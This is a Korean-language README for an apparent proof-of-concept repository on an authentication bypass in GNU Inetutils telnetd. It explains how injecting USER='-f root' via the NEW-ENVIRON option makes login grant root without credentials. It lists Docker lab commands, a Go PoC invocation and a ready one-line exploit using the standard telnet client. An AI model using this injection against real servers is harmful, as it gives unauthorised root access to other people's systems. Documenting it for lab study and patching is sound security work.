
GNU Inetutils telnetd 원격 인증 우회
정말로, 2026년에 텔넷이라니? 제발, 이제 넘어갈 때입니다. SSH는 1995년부터 있었습니다. 🤦
GNU Inetutils telnetd의 1.9.3부터 2.7까지의 버전에 영향을 미치는 치명적인 인증 우회 취약점입니다.
이 취약점은 NEW-ENVIRON 텔넷 옵션을 악용하여 login(1)에 악의적인 인자를 주입합니다. 텔넷 프로토콜을 통해 USER=-f root를 설정함으로써, 공격자는 인증을 우회하고 자격 증명 없이 루트 셸을 얻을 수 있습니다.
텔넷 프로토콜은 클라이언트가 서버에 환경 변수를 보낼 수 있게 해주는 NEW-ENVIRON 옵션(RFC 1572)을 지원합니다. telnetd 데몬은 USER 변수를 login(1)에 인자로 전달합니다.
USER=-f root를 보내면, 값은 다음과 같이 해석됩니다:
-f 플래그: 인증 건너뛰기(신뢰된 호스트)root: 대상 사용자이로 인해 login -f root가 실행되어 즉시 루트 액세스 권한이 부여됩니다.
PoC는 IAC WILL ECHO(0xff 0xfb 0x01)를 확인하여 성공적인 악용을 감지합니다. 이는 서버가 셸 액세스 권한을 부여할 때 보내는 프로토콜 신호입니다.
# 취약한 telnetd 컨테이너 빌드 및 실행
docker compose up --build -d
# 익스플로잇 테스트
go run poc.go 127.0.0.1 2323
# Go PoC 사용 (대화형 셸 포함)
go run poc.go <target> <port>
# 표준 텔넷 클라이언트를 사용한 간단한 PoC
env USER='-f root' telnet -a <target> <port>
poc.go - 대화형 셸이 포함된 Go 익스플로잇Dockerfile - 취약한 telnetd 컨테이너docker-compose.yml - 실습 환경 오케스트레이션